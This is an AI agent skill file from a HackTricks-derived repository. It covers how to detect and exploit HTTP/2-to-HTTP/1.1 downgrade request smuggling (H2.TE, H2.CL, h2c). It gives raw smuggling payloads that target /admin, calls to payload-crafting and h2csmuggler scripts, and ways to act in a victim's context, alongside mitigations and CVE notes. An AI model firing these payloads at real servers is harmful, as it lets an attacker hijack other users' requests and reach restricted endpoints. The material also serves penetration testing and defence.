Hacktricks-skills http2-request-smuggling
How to identify and exploit HTTP/2 request smuggling vulnerabilities in downgrade scenarios. Use this skill whenever the user mentions HTTP/2, request smuggling, H2.TE, H2.CL, HTTP downgrade attacks, proxy misconfigurations, or wants to test for HTTP/2 to HTTP/1.x translation vulnerabilities. Also trigger for CVE-2023-25690, CVE-2023-25950, CVE-2022-41721, or any HTTP/2 security testing.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades/SKILL.MDHTTP/2 Request Smuggling Skill
This skill helps you identify and exploit request smuggling vulnerabilities that occur when HTTP/2 front-ends downgrade requests to HTTP/1.x back-ends.
When to Use This Skill
Use this skill when:
- Testing web applications for HTTP/2 request smuggling vulnerabilities
- Investigating proxy misconfigurations between HTTP/2 and HTTP/1.x
- Analyzing CVE-2023-25690, CVE-2023-25950, or CVE-2022-41721
- Needing to craft H2.TE or H2.CL attack payloads
- Checking for HTTP/2 downgrade chains in target infrastructure
- Testing h2c (clear-text HTTP/2) upgrade vulnerabilities
Core Concepts
Why Downgrades Create Vulnerabilities
HTTP/2 is immune to classic request smuggling because DATA frame lengths are explicit. However, when a front-end proxy terminates HTTP/2 and rewrites requests as HTTP/1.1 for legacy back-ends, the translation step creates desync opportunities:
- Front-end trusts HTTP/2 frame length
- Back-end trusts
orContent-LengthTransfer-Encoding: chunked - Attacker forces disagreement between parsers
Two Attack Variants
| Variant | Front-end Length | Back-end Length | Attack Pattern |
|---|---|---|---|
| H2.TE | HTTP/2 frame | | Embed extra chunked body; back-end waits for attacker's "next" request |
| H2.CL | HTTP/2 frame | | Send smaller CL than real body; back-end reads into following request |
Identification Workflow
Step 1: Verify HTTP/2 Support
Check if the target edge speaks HTTP/2:
# Using curl curl -v --http2 https://target # Look for "* Using HTTP2" in output # Using openssl openssl s_client -alpn h2 -connect target:443 # Check for ALPN protocol negotiation
Step 2: Confirm Downgrade Chain
Send a malformed CL/TE request over HTTP/2. If you receive an HTTP/1.1 error like
400 Bad chunk, the edge is converting traffic for an HTTP/1 parser downstream.
Use the
check_downgrade.sh script to automate this:
./scripts/check_downgrade.sh https://target
Step 3: Identify Variant
- H2.TE: Back-end trusts
Transfer-Encoding: chunked - H2.CL: Back-end trusts
Content-Length
Exploitation Workflow
H2.TE Attack Pattern
:method: POST :path: /login :scheme: https :authority: example.com content-length: 13 # ignored by edge transfer-encoding: chunked 5;ext=1\r\nHELLO\r\n 0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
How it works:
- Front-end reads exactly 13 bytes (
), thinks request is finishedHELLO\r\n0\r\n\r\nGE - Back-end trusts TE header, keeps reading until second
0\r\n\r\n - Back-end consumes prefix of attacker's second request (
)GET /admin ... - Remainder is treated as new request queued behind victim's
H2.CL Attack Pattern
:method: POST :path: /login :scheme: https :authority: example.com content-length: 5 # smaller than real body transfer-encoding: chunked 10\r\n HELLO WORLD\r\n 0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
How it works:
- Front-end reads HTTP/2 frame length
- Back-end reads only 5 bytes per CL header
- Back-end reads past boundary into following request
- Smuggled request executes in victim's context
Crafting Payloads
Use the
craft_payload.sh script to generate attack payloads:
# H2.TE payload ./scripts/craft_payload.sh h2-te "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n" # H2.CL payload ./scripts/craft_payload.sh h2-cl "POST /api/logout HTTP/1.1\r\nHost: target\r\n\r\n"
Common Smuggled Requests
Replace the smuggled request with:
- Force session fixationPOST /api/logout
- Steal victim-specific resourcesGET /users/1234
- Access restricted areasGET /admin
- Execute actions as victimPOST /api/action
h2c Smuggling (Clear-Text Upgrades)
A 2023 discovery showed that if a front-end passes
Upgrade: h2c to a back-end supporting clear-text HTTP/2, attackers can tunnel raw HTTP/2 frames through edges that only validated HTTP/1.1.
Requirements:
- Edge forwards both
andConnection: Upgrade
unchangedUpgrade: h2c - Origin upgrades to HTTP/2 and keeps connection-reuse semantics
Test with:
python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
Mitigation: Strip or hard-code the
Upgrade header at the edge except for WebSockets.
Tooling
Burp Request Smuggler
Since v1.26, automatically tests H2.TE/H2.CL and hidden ALPN support. Enable "HTTP/2 probing" in extension options.
Manual Testing
# Using curl with HTTP/2 curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target # Using hyper (Rust HTTP client) hyper --http2 -X POST -d @payload.raw https://target
Defensive Measures
- End-to-end HTTP/2 - Eliminate downgrade translation completely
- Single source of length truth - When downgrading, always generate valid
and strip user-suppliedContent-Length
/Content-Length
headersTransfer-Encoding - Normalize before route - Apply header sanitization before routing/rewrite logic
- Connection isolation - Do not reuse back-end TCP connections across users; "one request per connection" defeats queue-based exploits
- Strip
unless WebSocket - Prevents h2c tunnelingUpgrade
Notable CVEs
- CVE-2023-25690 - Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling (fixed in 2.4.56)
- CVE-2023-25950 - HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests
- CVE-2022-41721 - Go
caused left-over body bytes to be parsed as HTTP/2 frames, enabling cross-protocol smugglingMaxBytesHandler
References
- PortSwigger Research - "HTTP/2: The Sequel is Always Worse" - https://portswigger.net/research/http2
- Bishop Fox - "h2c Smuggling: request smuggling via HTTP/2 clear-text" - https://bishopfox.com/blog/h2c-smuggling-request